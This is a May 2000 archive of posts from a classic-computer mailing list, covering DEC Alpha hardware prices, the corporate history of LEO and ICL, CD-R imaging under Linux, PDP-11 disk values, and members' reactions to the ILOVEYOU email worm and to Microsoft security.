<200005050119.SAA02721@shell1.aracnet.com> > > On May 4, Nick Oliviero wrote: > > As far as the micro$lop, soon as I find a -500au my Aptiva is history. > > How much are they going for these days? > > -Dave McGuire > Well, assuming you're talking about a PWS-500au they're about $2k without any licenses. I got real lucky a few weeks ago and picked up a -433a with a 4D40T graphics card, 64MB RAM, and a 2GB UW SCSI HD. I managed to get it for $700, and then proceeded to add 256MB RAM, replaced the 4D40T with a 3D30 (aka Elsa Gloria Synergy), a SCSI 4x CD-ROM, and a TLZ-06 4mm tape drive. I also did the conversion from a -433a to a -433au myself, OpenVMS really screams on this sucker! If you get an old enough -500a the conversion to a -500au might be fairly easy. In any cast to convert a 'a' to a 'au' you'll need the following: Supported SCSI Card (you can't use any old SCSI card) Supported Video Card SCSI HD and probably SCSI CD-ROM Flash it with the latest ARC/SRM (if you get the kit from Compaq to do this you apparently also get a 'au' nameplate) Of course what I really want is something like a 667Mhz DS20E Workstation with a PowerStorm 330, but I think I can live with what I've got, for the time being. Zane From therunk17 at earthlink.net Thu May 4 20:28:26 2000 From: therunk17 at earthlink.net (Ronald Fraser) Date: Sun Feb 27 18:51:30 2005 Subject: perkin/elmer & concurrent books Message-ID: <200005050125.SAA17839@snipe.prod.itd.earthlink.net> I would like copy of the list. See our site at www.osfn.org/ricm Ron ---------- From: "jdarren" To: Subject: perkin/elmer & concurrent books Date: Thu, May 4, 2000, 5:47 PM One person asked for a list of the p-e/ccc books I have. I lost the message. Please contact me again. So sorry! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/8fa7a561/attachment.html From oliv555 at arrl.net Thu May 4 20:29:58 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:51:30 2005 Subject: 500au was:Re: Watch for "ILOVEYOU" loveletter.VBS bug References: <14609.52485.674462.260780@phaduka.neurotica.com> <3911D94E.A64DA6BD@arrl.net> <14610.5888.34622.398860@phaduka.neurotica.com> Message-ID: <39122416.72F1E35F@arrl.net> There've been several on eBay recently that start out at $400-500 but quickly spiral up due to high interest. I tend to drop out as I am basically cheap .... er.. frugal. Dave McGuire wrote: > On May 4, Nick Oliviero wrote: > > As far as the micro$lop, soon as I find a -500au my Aptiva is history. > > How much are they going for these days? > > -Dave McGuire From at258 at osfn.org Thu May 4 20:38:50 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:51:30 2005 Subject: Lyons, Elliot, GEC, ICL, et al. In-Reply-To: <20000505003920.2689.qmail@hotmail.com> Message-ID: Didn't ICT begin as BTC? British Tabulating Machine Co. On Thu, 4 May 2000, Will Jennings wrote: > OK, for what its worth; > Lyons Brothers built the LEO because they wanted to computerize their > business, but they couldn't find anyone selling commercial machines, so they > went ahead and built their own. LEO, by the way, stands for Lyons Electronic > Office. The LEO was actually completed in early 1951, and other companies > heard about it and wanted it, so Lyons suddenly were in the computer > business. Most people don't know this, but the LEO is the first commercial > computer, it beat UNIVAC I to market by several months. Lyons Brothers, > Elliot Automation, English Electric, Marconi, ICT, and GEC are all related, > not to mention ICL. In 1969, Marconi, GEC, Elliot Automation, and English > Electric merged to form Marconi Elliot Computer Systems Ltd., which kept > selling the various dissimilar lines (there is some mention of AEI also > being a part of this). In 1970 or 71, the company became known as GEC > Computers Ltd., and some parts (I don't know what ones for sure), were > combined with ICT to form ICL. Basically, GEC Computers Ltd. was all of the > real-time systems, and ICL was all the data-processing systems. Somehow > Lyons Brothers fits into this picture also, I'm just not sure how. ICL was > first bought by an English electronics company called STC plc in 1984, then > Fujitsu bought 80% of ICL in 1990. Later Nortel bought STC and then in 1998 > Fujitsu bought the other 20% of ICL from Nortel. As a side note, Fujitsu > also owns all of Amdahl, having excercised their option to buy the rest of > the company, since as you probably know, they put up the money to start > Amdahl and as such always owned a large chunk of it. I think GEC has > subsided back into Marconi, but I'm not sure, the whole ICL and GEC story is > a huge mess really. I hope you don't mind me taking the chance to give you > more info about them than you probably wanted. BTW, I know Elliot Brothers > (later Elliot Automation) dates back to 1795, and I'm fairly sure some of > the other companies involved are that age or older. If anyone has more info > I'd like to hear it, I have info on a bunch of models of > ICL/GEC/Elliot/English Electric machines too. I'd most like to know more > about ICT... > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From oliv555 at arrl.net Thu May 4 20:57:01 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:51:30 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug References: <006301bfb61c$7777e970$7164c0d0@ajp166> Message-ID: <39122A6C.C3F9DE01@arrl.net> Allison, My comment was meant (kiddingly) as retort to Dave's m$ comment; no offense meant. Interestingly, my firewall has reported 3 attacks today all from differing intruders and citing the NetBus, UDP and SebSeven trojan horses. Guess this new worm has brought out the pranksters. As far as the LOVELETTER worm on my work system, I'll try the technique you described when I get back to work. Could'nt get it deleted remotely. allisonp wrote: > >Whoa...hold your fire..... while I haven't seen this particular beastie, > my > >BlackIce Defender just set off an alarm for an attack attempt with the > > The LOVELETTER worm is real, my partners site is hammered by it. > > I got a copy of it today on the shell account > and it likely can hurt me much if at all on the NTbox (you need those > virus/worm/trogan helpers like active-x). > > No a desktop system at work does not need active-x nor does it need > hotmail/instant-messenger (or chat, netmeeting to name a few more). > > Allison From CLASSICCMP at trailing-edge.com Thu May 4 20:59:28 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:30 2005 Subject: Plextor CD writers Message-ID: <000504215928.20200cb7@trailing-edge.com> >On Thu, May 04, 2000 at 11:58:29PM -0000, Eric Smith wrote: >> The problem with direct CD to CD-R copy is that the OS, device driver, >> and even the CD-ROM drive do not have any reliable way to know how many >> sectors there are on the source disc, unless they can rely on file >> system data, i.e., the ISO 9660 header. If the disc isn't 9660, you'd >> need some other way to tell. >FWIW, my Panasonic CW-7502 CD-R drive gives a correct size in response to >a SCSI "READ CAPACITY" command. Are you saying that most drives don't >support this? The drive supports it, but the OS may not. For instance, whenever I want to image a CD under Linux, I dd if=/dev/cdrom of=wherever.dsk bs=2048, and it always ends with an error after it runs past the end of the disk. (And there are errors logged to the console, too, showing that it failed trying to read the nonexistent sector numbers.) Happens with several different CD-ROM and CD-R drives, all of which *do* report actual device sizes correctly. Of course, if you bypass the stupid Linux device driver that doesn't know any better and bang on the CD directly, you may not have that problem. Or if you switch to a real OS. This is RedHat 6.0 and 6.1, with various Adaptec SCSI host adapters and the "stock" Linux drivers. Maybe you have a NCR-based host adapter and the drivers there are smart enough not to run off the end? -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From eric at brouhaha.com Thu May 4 21:16:50 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:30 2005 Subject: Plextor CD writers In-Reply-To: <20000504211633.A28089@dbit.dbit.com> (message from John Wilson on Thu, 4 May 2000 21:16:33 -0400) References: <10005042141.ZM1640@indy.dunnington.u-net.com> <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> <20000504193533.A27790@dbit.dbit.com> <20000504235829.11469.qmail@brouhaha.com> <20000504211633.A28089@dbit.dbit.com> Message-ID: <20000505021650.12738.qmail@brouhaha.com> John Wilson wrote: > FWIW, my Panasonic CW-7502 CD-R drive gives a correct size in response to > a SCSI "READ CAPACITY" command. Are you saying that most drives don't > support this? No (although perhaps some might not). I'm disputing that the drive will always (or even frequently) give the correct response to the READ CAPACITY command. That command uses the TOC of the disc to make up a number that is at best only vaguely related to the actual number of blocks in the image. If you're lucky, the number will be greater than the actual number of blocks, so that if you use it to do an image copy, you'll get *at least* all of the blocks that you should. But I've seen occasional cases where the reported number was less than the actual number of blocks. From staylor at mrynet.com Thu May 4 14:43:34 2000 From: staylor at mrynet.com (S. Akmentins-Teilors) Date: Sun Feb 27 18:51:30 2005 Subject: card punch available Message-ID: <200005050243.TAA77685@mrynet.com> > I just noticed that there is a card punch machine available here in > Minneapolis if someone wants to come and get it. I didnt pay attention > to the exact model, but its one of the 'old' ones, ie, its definitely > not the one with the LED display in the keyboard. > > Anyways, if you want it you would probably have to pick it up next week before > it goes to the recycling center. And you would have to let them know > you want it, and arrange for a time to pick it up. > > -Lawrence LeMay > lemay@cs.umn.edu Hi, Lawrence, I'm originally from L.A. and relocating back here to Minneapolis to my birthplace. Your email prompted me to write and ask: Where are the good places here to search out surplus/used equipment? I'm generally in the market for DEC and HP old stuff. Any info would be greatly appreciated. Cheers, -skots -- Scott G. Akmentins-Taylor InterNet: staylor@mrynet.com MRY Systems staylor@mrynet.lv (Skots Gregorijs Akmentins-Teilors -- just call me "Skots") ----- Labak miris neka sarkans ----- From lemay at cs.umn.edu Thu May 4 22:09:08 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:30 2005 Subject: card punch available In-Reply-To: <200005050243.TAA77685@mrynet.com> from "S. Akmentins-Teilors" at "May 4, 2000 07:43:34 pm" Message-ID: <200005050309.WAA10072@caesar.cs.umn.edu> > Hi, Lawrence, > I'm originally from L.A. and relocating back here to Minneapolis to my > birthplace. Your email prompted me to write and ask: > > Where are the good places here to search out surplus/used equipment? > I'm generally in the market for DEC and HP old stuff. Any info would be > greatly appreciated. > Hmm, I'm not really the one to ask. I mainly keep my eyes open at the University of Minnesota, Minneapolis campus. John Keys would probably know, he's one of the major collectors around here. -Lawrence LeMay From ghldbrd at ccp.com Fri May 5 04:16:49 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:51:30 2005 Subject: the latest virus Message-ID: Hello, friends the pranksters strike again . . . Makes me appreciate havimg my Amiga. Gary Hildebrand From wilson at dbit.dbit.com Fri May 5 01:12:32 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:30 2005 Subject: card punch available In-Reply-To: <200005050309.WAA10072@caesar.cs.umn.edu>; from lemay@cs.umn.edu on Thu, May 04, 2000 at 10:09:08PM -0500 References: <200005050243.TAA77685@mrynet.com> <200005050309.WAA10072@caesar.cs.umn.edu> Message-ID: <20000505021232.B28837@dbit.dbit.com> On Thu, May 04, 2000 at 10:09:08PM -0500, Lawrence LeMay wrote: > > Where are the good places here to search out surplus/used equipment? > > I'm generally in the market for DEC and HP old stuff. Any info would be > > greatly appreciated. > > > > Hmm, I'm not really the one to ask. I mainly keep my eyes open at the > University of Minnesota, Minneapolis campus. _ What ever happened to Minnecomputers? I bought an RK611 from them about 15 years ago, they used to have an awesome catalog full of PDP-11 doodads, but I haven't seen an ad in ages. Long gone? John Wilson D Bit From jfoust at threedee.com Fri May 5 02:47:52 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:30 2005 Subject: Classic Computer Stuff In-Reply-To: <3.0.5.32.20000504174556.009735f0@mail.bluefeathertech.com> References: <15.35bdcb6.26433b06@aol.com> Message-ID: <4.3.0.20000505024455.01b8a340@pc> At 05:45 PM 5/4/00 -0700, Bruce Lane wrote: > Then you have my profound sympathies. I, for one, ceased to patronize Ebay >some months back for various reasons which I will not bore the listmembers >with, though I will say that the attitude of "Epay" towards its users' >privacy had a lot to do with my decision. I wouldn't be bored. > May I suggest offering your stuff here before you post it on Ebay? It may >well save you listing costs, and you'll get an audience that will actually >(in most cases that I know of) put what they're buying to active use rather >than treating it as some sort of trophy. Ah, over time, the existence of limited-attention-span trophy hunters will only increase the size of caches for collectors to discover. :-) Listing costs might only be 25 cents. - John From kevin at xpuppy.freeserve.co.uk Fri May 5 04:54:09 2000 From: kevin at xpuppy.freeserve.co.uk (Kevin Murrell) Date: Sun Feb 27 18:51:30 2005 Subject: Lyons, Elliot, GEC, ICL, et al. References: <20000505003920.2689.qmail@hotmail.com> Message-ID: <001501bfb677$e6f2f9b0$8700a8c0@xpuppy> There is an excellent book about the Leo machines by Peter J. Bird - Leo, The First Business Computer. Published by Hasler Publishing. Only published in 1994 and still available for amazon and co. Hamish Carmichael's ICL anthology, published by Laidlaw Hicks is also an very good account of the various mergers and rivalries between the UK early computer companies. Also still available. Kevin Murrell ----- Original Message ----- From: Will Jennings To: Sent: Friday, May 05, 2000 1:39 AM Subject: Lyons, Elliot, GEC, ICL, et al. > OK, for what its worth; > Lyons Brothers built the LEO because they wanted to computerize their > business, but they couldn't find anyone selling commercial machines, so they > went ahead and built their own. LEO, by the way, stands for Lyons Electronic > Office. The LEO was actually completed in early 1951, and other companies > heard about it and wanted it, so Lyons suddenly were in the computer > business. Most people don't know this, but the LEO is the first commercial > computer, it beat UNIVAC I to market by several months. Lyons Brothers, > Elliot Automation, English Electric, Marconi, ICT, and GEC are all related, > not to mention ICL. In 1969, Marconi, GEC, Elliot Automation, and English > Electric merged to form Marconi Elliot Computer Systems Ltd., which kept > selling the various dissimilar lines (there is some mention of AEI also > being a part of this). In 1970 or 71, the company became known as GEC > Computers Ltd., and some parts (I don't know what ones for sure), were > combined with ICT to form ICL. Basically, GEC Computers Ltd. was all of the > real-time systems, and ICL was all the data-processing systems. Somehow > Lyons Brothers fits into this picture also, I'm just not sure how. ICL was > first bought by an English electronics company called STC plc in 1984, then > Fujitsu bought 80% of ICL in 1990. Later Nortel bought STC and then in 1998 > Fujitsu bought the other 20% of ICL from Nortel. As a side note, Fujitsu > also owns all of Amdahl, having excercised their option to buy the rest of > the company, since as you probably know, they put up the money to start > Amdahl and as such always owned a large chunk of it. I think GEC has > subsided back into Marconi, but I'm not sure, the whole ICL and GEC story is > a huge mess really. I hope you don't mind me taking the chance to give you > more info about them than you probably wanted. BTW, I know Elliot Brothers > (later Elliot Automation) dates back to 1795, and I'm fairly sure some of > the other companies involved are that age or older. If anyone has more info > I'd like to hear it, I have info on a bunch of models of > ICL/GEC/Elliot/English Electric machines too. I'd most like to know more > about ICT... > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > From at258 at osfn.org Fri May 5 07:06:13 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:51:30 2005 Subject: the latest virus In-Reply-To: Message-ID: We ALL appreciate our Amigas. On Fri, 5 May 2000, Gary Hildebrand wrote: > Hello, friends > > the pranksters strike again . . . > > Makes me appreciate havimg my Amiga. > > Gary Hildebrand > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From pechter at pechter.dyndns.org Fri May 5 07:28:57 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:30 2005 Subject: Plextor CD writers In-Reply-To: <200005042142.OAA08399@shell1.aracnet.com> from "healyzh@aracnet.com" at "May 4, 2000 02:42:43 pm" Message-ID: <200005051228.IAA02860@bg-tc-ppp991.monmouth.com> > > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... > > > > I think that the Linux and Unix stuff can... > > > > Bill > > -- > > Actually Adaptec EZ-CD *PRO* can do Audio. Of course the Audio software > that they provide is total garbage. This is the first piece of software > I've ever tossed. I like Toast on my PowerMac (as well as a lot of > specialized software/hardware for handling the Audio). I've used toast to > burn ISO RedHat and NetBSD images, I've not tried OpenVMS or PDP-11 disks (I > really want to start backing up my PDP-11/73's Hard Drives to CD-R), of > course the only reason I've not tried is lack of time. > I meant non-Audio... sorry. Anyway... it's interesting to see that dd will back up my VMS CD's. Meanwhile anyone here want to see some restrictions on MS software on critical government or "secure" systems. Geez... this "Love Bug" virus has hit AT&T and Lucent and a bunch of US government sites. Luckily, my wife was using Elm on Unix dialed in from home instead of Outlook or Exchange at work so she deleted the 150 messages at noon and another 150 last night. Exchange and Outlook (and the MS Exchange server and Visual Basic) have really revolutionized mail handling into a major virus breeding ground. All because it's too hard to use FTP or the web to push Powerpoint presentations around -- they mail 44mb files as attachments. UGH. Bill (an old dinosaur who misses the net like it was in '85-6) -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From Marion.Bates at dartmouth.edu Fri May 5 08:39:04 2000 From: Marion.Bates at dartmouth.edu (Marion Bates) Date: Sun Feb 27 18:51:30 2005 Subject: paging John Ott Message-ID: <30691749@dasher.Dartmouth.EDU> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 319 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/457a31c6/attachment.bin From fauradon at mn.mediaone.net Fri May 5 10:10:46 2000 From: fauradon at mn.mediaone.net (FBA) Date: Sun Feb 27 18:51:30 2005 Subject: Classic Computer Stuff Message-ID: <000f01bfb6a4$1aff3d50$3c37d986@fauradon.beckman.com> For Sale anouncements are appropriate for the list eBay auction advertisement is considered SPAM Francois From allisonp at world.std.com Fri May 5 11:34:55 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:30 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <39122A6C.C3F9DE01@arrl.net> Message-ID: > My comment was meant (kiddingly) as retort to Dave's m$ comment; > no offense meant. Interestingly, my firewall has reported 3 attacks today > all from differing intruders and citing the NetBus, UDP and SebSeven > trojan horses. Guess this new worm has brought out the pranksters. No harm no foul. I was mostly pointing out this is a nasty one. Now we have all the copycats and opportunists. www.f-secure.com has a good page on this worm. Allison From John.Honniball at uwe.ac.uk Fri May 5 11:40:57 2000 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 18:51:30 2005 Subject: What a weekend! In-Reply-To: <3.0.1.16.20000504063540.2677c75c@mailhost.intellistar.net> Message-ID: On Thu, 04 May 2000 06:35:40 -0500 Joe wrote: > These were spares. FWIW even the stuff that cames back to earth in the > capsules is very seldom available. It is usually cut apart for testing or > put in a museum somewhere. The Science Museum in London has the Apollo 10 capsule on display. Oh, and a few classic computers, too -- just to get back on-topic :-) -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From foxvideo at wincom.net Fri May 5 08:19:10 2000 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 18:51:30 2005 Subject: VCF Europe? Message-ID: <3.0.5.32.20000505091910.007b8760@mail.wincom.net> Has anyone had a progress report on happenings at the VCF Europe? Regards Charlie Fox Charles E. Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor N8Y 3J8 Ont. Canada email foxvideo@wincom.net Check out "The Old Walkerville Virtual Museum" at http://www.skyboom.com/foxvideo and Camcorder Kindergarten at http://www.chasfoxvideo.com From ethan_dicks at yahoo.com Fri May 5 13:01:36 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:30 2005 Subject: Apple IIc - contact original poster Message-ID: <20000505180136.19154.qmail@web615.mail.yahoo.com> Contact Bernie directly, not me. -ethan -------- From: "Bernie Jalbert" Subject: Apple IIc Date: Mon, 17 Apr 2000 20:56:55 -0400 Plese post this on the cIassiccmp list. I have available an Apple IIc computer and an Apple Scribe printer with a new ribbon. The software that goes with it includes Bank Street Writer, Bank Street Filer and a spreadsheet program. I am located in Richboro, PA (in Bucks County, north of Philadelphia). My e-mail address is bernjal@starllinx.com ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From ard at p850ug1.demon.co.uk Fri May 5 13:08:56 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:30 2005 Subject: What a weekend! In-Reply-To: from "John Honniball" at May 5, 0 05:40:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 581 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000505/c5d81355/attachment.ksh From mikeford at socal.rr.com Fri May 5 13:39:03 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:30 2005 Subject: Abandoned Computers List In-Reply-To: <20000505180136.19154.qmail@web615.mail.yahoo.com> Message-ID: I am on another list that is for people who want to "rescue" computers for reuse, either their own use or in some fashion (sales or donation) returned to active duty. This list grew out of a vintage mac group, so it is REAL short on non mac people and the first offers we are getting are all or mostly PC related. This is an open invitation for anyone on this list that is interested to join up and help get this group going. http://www.egroups.com/group/abandonedcomputers We really need to offer nationwide contacts so that as offers come in of computers they get a timely response and somebody actually goes and picks them up. BTW I say nationwide, but mean worldwide. How I treat this list is that anything that shows up available to me, that isn't local to me, or isn't of interest to me I post to the list. The plan is that all the list members do the same, so that everything gets taken care of. The group sprouted spontaniously about a month ago, and could really use more people to help shape the focus and get things started. Future plans are ambitious, with ideas about emailing large organizations to shift them from dumping to donating. From mikeford at socal.rr.com Fri May 5 13:18:32 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:30 2005 Subject: VCF Europe? In-Reply-To: <3.0.5.32.20000505091910.007b8760@mail.wincom.net> Message-ID: > Has anyone had a progress report on happenings at the VCF Europe? Too much jaegermeister for anybody to be typing this soon. From ghldbrd at ccp.com Fri May 5 19:57:36 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:51:30 2005 Subject: [KULUA] Nightline (fwd) Message-ID: Hello group, Here's something we all knew already, but we need to educate the brainwashed masses about Microslop . . . Last sentence says it all. *** FORWARDED MESSAGE *** Original author: trp0 Written on: 05-May-00 *** Beginning of forwarded message *** Last night, Ted explored the "I Love You" crisis with three "computer virus experts". I'm a little fuzzy on who everyone was for sure, but I know one was a computer crime prosecutor, another was Thrilling(sp?) from Symantec(who totally reminds of this one stand-up comic guy...looks and acts just like the stnad-up....maybe secret alter ego), and I don't remember the other guy's functions at all. All three were going on and on about how users needed to protect themselves with better and more anti-virus software as well as putting up home firewalls! It struck me as odd that they were trying to "educate" people about how to be safe without ever mentioning the fact that nearly all of the nasty email viruses are confined to Microsoft products. I would have liked to have seen a discussion about why MS doesn't consider these things as big hole in their OS. Seems to my like a large majority of even the standard viruses live in the MS realm. Wouldn't it strike you as a little alarming if the product you are turning out is the target of so many easily constructed destructive programs because of the way your product is designed and implemented? Anyway. It was just strange that they were emphasizing that basically all the world's email systems were brought down because of this thing without even noting things such as alternatives that wouldn't have these problems....instead trying to scare the public into consuming more unecessary software to patch up a leaky operating system with third party products instead of encouraging people to get a brain and exercise their free-market will to force product improvement. *shrug* T --- This message brought to you by: trp0@falcon.cc.ukans.edu ..and the voices in his head. [Bucket of Truth] "Don't you think I know that!?!" - UCB WebAccess: http://www.magicalbox.com/~trp0 ------------------------ end transmission .... *** End of forwarded message *** From lemay at cs.umn.edu Fri May 5 14:33:47 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:30 2005 Subject: value of RK05 Message-ID: <200005051933.OAA08700@caesar.cs.umn.edu> I'm wondering of anyone knows whatthe value of an RK05 would be? I'm thinking of buying a rack full of stuff in order to get the parts i want, and then sell of the rest. As i'll be getting a pair of RK05's for free with the PDP-11/45 system I'm getting for free, if I was to get 2 more RK05's I cant see needing that many... Also, is it next to impossible to get the rx8e needed to hook the Rk05's to a PDP8/e? -Lawrence LeMay From mikeford at socal.rr.com Fri May 5 14:36:33 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:30 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: Message-ID: >It struck me as odd that they were trying to "educate" people about how to >be safe without ever mentioning the fact that nearly all of the nasty >email viruses are confined to Microsoft products. I would have liked to >have seen a discussion about why MS doesn't consider these things as big >hole in their OS. Seems to my like a large majority of even the standard Can you say Lawsuit, yes Mr. Bill thinks you can. Can you say Boycott, yes Mr. Bill knows you can. End of todays lesson. From mgregory at vantageresearch.com Fri May 5 14:43:01 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:51:30 2005 Subject: [KULUA] Nightline (fwd) Message-ID: <00bb01bfb6ca$1f7259a0$0200a8c0@marvin> -----Original Message----- From: Gary Hildebrand To: classiccmp@classiccmp.org Date: Friday, May 05, 2000 1:16 PM Subject: [KULUA] Nightline (fwd) >Hello group, > >Here's something we all knew already, but we need to educate the brainwashed >masses about Microslop . . . Last sentence says it all. > > >*** FORWARDED MESSAGE *** > Original author: trp0 > Written on: 05-May-00 >*** Beginning of forwarded message *** > > Seems to my like a large majority of even the standard >viruses live in the MS realm. Wouldn't it strike you as a little alarming >if the product you are turning out is the target of so many easily >constructed destructive programs because of the way your product is >designed and implemented? > I think the first sentence is a bit disingenuous. Microsoft is the target of the large majority of standard viruses because the majority of virus writers (and everyone else) use Microsoft products. If a platform is sufficiently popular, some loser will write viruses for it. It seems to me that some of the smug "my Macintosh/Amiga/etc wasn't bothered by this" messages I've seen are forgetting that in their heyday, the Amiga/Mac/etc. had as many viruses problems as the PC. What Microsoft should get blasted for is not fixing the gaping security holes in any VBScript-enabled program after Melissa et al. demonstrated how vulnerable they are. Ob. ClassicComp content: At least when the Great Worm of 1988 blasted the Internet, the Unix community by and large fixed the security holes in sendmail that it exposed. What the Internet community has to figure out is how to fix the TCP/IP protocols so volume-related attacks (mass e-mails, denial of service attacks) can't cripple big parts of the infrastructure. Imagine how e-commerce companies fared yesterday, when thousands of companies turned off all of their Net access, including email and browsers. If e-commerce is the future, there needs to be a more reliable Net for it to run on. Just my 2 cents. Mark From wilson at dbit.dbit.com Fri May 5 14:51:50 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:30 2005 Subject: value of RK05 In-Reply-To: <200005051933.OAA08700@caesar.cs.umn.edu>; from lemay@cs.umn.edu on Fri, May 05, 2000 at 02:33:47PM -0500 References: <200005051933.OAA08700@caesar.cs.umn.edu> Message-ID: <20000505155150.A30766@dbit.dbit.com> On Fri, May 05, 2000 at 02:33:47PM -0500, Lawrence LeMay wrote: > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > to a PDP8/e? I called Compaq and asked about the RX8E/M8357, and it seems it's no longer available. Too bad, it was around $40 *really* recently... John Wilson D Bit From wilson at dbit.dbit.com Fri May 5 14:54:32 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:30 2005 Subject: What a weekend! In-Reply-To: ; from John.Honniball@uwe.ac.uk on Fri, May 05, 2000 at 05:40:57PM +0100 References: <3.0.1.16.20000504063540.2677c75c@mailhost.intellistar.net> Message-ID: <20000505155432.B30766@dbit.dbit.com> On Fri, May 05, 2000 at 05:40:57PM +0100, John Honniball wrote: > > These were spares. FWIW even the stuff that cames back to earth in the > > capsules is very seldom available. It is usually cut apart for testing or > > put in a museum somewhere. > > The Science Museum in London has the Apollo 10 capsule on > display. The one in Boston (or is it 50% in Cambridge?) MA used to have a tiny capsule of some kind (Mercury or Gemini?) but I never understood whether it was the real thing, or a mock-up. They had/have a lunar lander too but that's definitely fake. John Wilson D Bit From dylanb at sympatico.ca Fri May 5 16:32:46 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:30 2005 Subject: value of RK05 References: <200005051933.OAA08700@caesar.cs.umn.edu> Message-ID: <003901bfb6d9$745eedc0$fd83fea9@office> ----- Original Message ----- From: Lawrence LeMay To: Sent: Friday, May 05, 2000 3:33 PM Subject: value of RK05 > I'm wondering of anyone knows whatthe value of an RK05 would be? I'm thinking > of buying a rack full of stuff in order to get the parts i want, and then > sell of the rest. As i'll be getting a pair of RK05's for free with the > PDP-11/45 system I'm getting for free, if I was to get 2 more RK05's I > cant see needing that many... RK05s go for around $500 each *restored*. A restored PDP-11/45 is about $7000 to $9000 depending on config. A system is generally worth a lot more with RK05s or RX02s installed > > Also, is it next to impossible to get the rx8e needed to hook the Rk05's > to a PDP8/e? > It's RK8E, and yes, they are next to impossible to find - especially the cable. http://www.pdp8.com/ john > -Lawrence LeMay > From wilson at dbit.dbit.com Fri May 5 14:59:12 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:30 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: ; from ghldbrd@ccp.com on Fri, May 05, 2000 at 06:57:36PM -0600 References: Message-ID: <20000505155912.C30766@dbit.dbit.com> On Fri, May 05, 2000 at 06:57:36PM -0600, Gary Hildebrand wrote: > *** Beginning of forwarded message *** [...] > It struck me as odd that they were trying to "educate" people about how to > be safe without ever mentioning the fact that nearly all of the nasty > email viruses are confined to Microsoft products. One of the "news" websites (www.abcnews.com maybe?) had a nice list of "things you can do to protect yourself from email viruses", and I thought it was very interesting that "avoid M$ products!!!" wasn't on the list. It's too bad the net has turned into such an appliance. In the old days, each site often implemented their own TCP/IP stack and SMTP/FTP/etc. servers from scratch, so even if they had security flaws they weren't well-known. Returning to that might have some advantages ... I know someone who munged in a fake version banner in his wu.ftpd just so the crackers would be more likely to leave him alone, worth a shot! John Wilson D Bit From xds_sigma7 at hotmail.com Fri May 5 15:12:54 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:30 2005 Subject: Enough with the MS bashing, please Message-ID: <20000505201254.23500.qmail@hotmail.com> Is it truly necessary to fill the list with stuff like "Microsoft is awful", etc etc etc.? I don't see how that is particularly related to classic computers... Like the "Nuke Redmond" thread, which filled my mailbox with probably 100+ messages which I had no desire at all to even look at. It is really annoying to check your mail, have about 70-100 messages, and have about 80 or so be pure garbage like that. Besides, not everyone dislikes Microsoft's products. I for one, like their products a lot, I'm using Win 98SE right now, and our NT server has been running continuously for about 4 years now, no 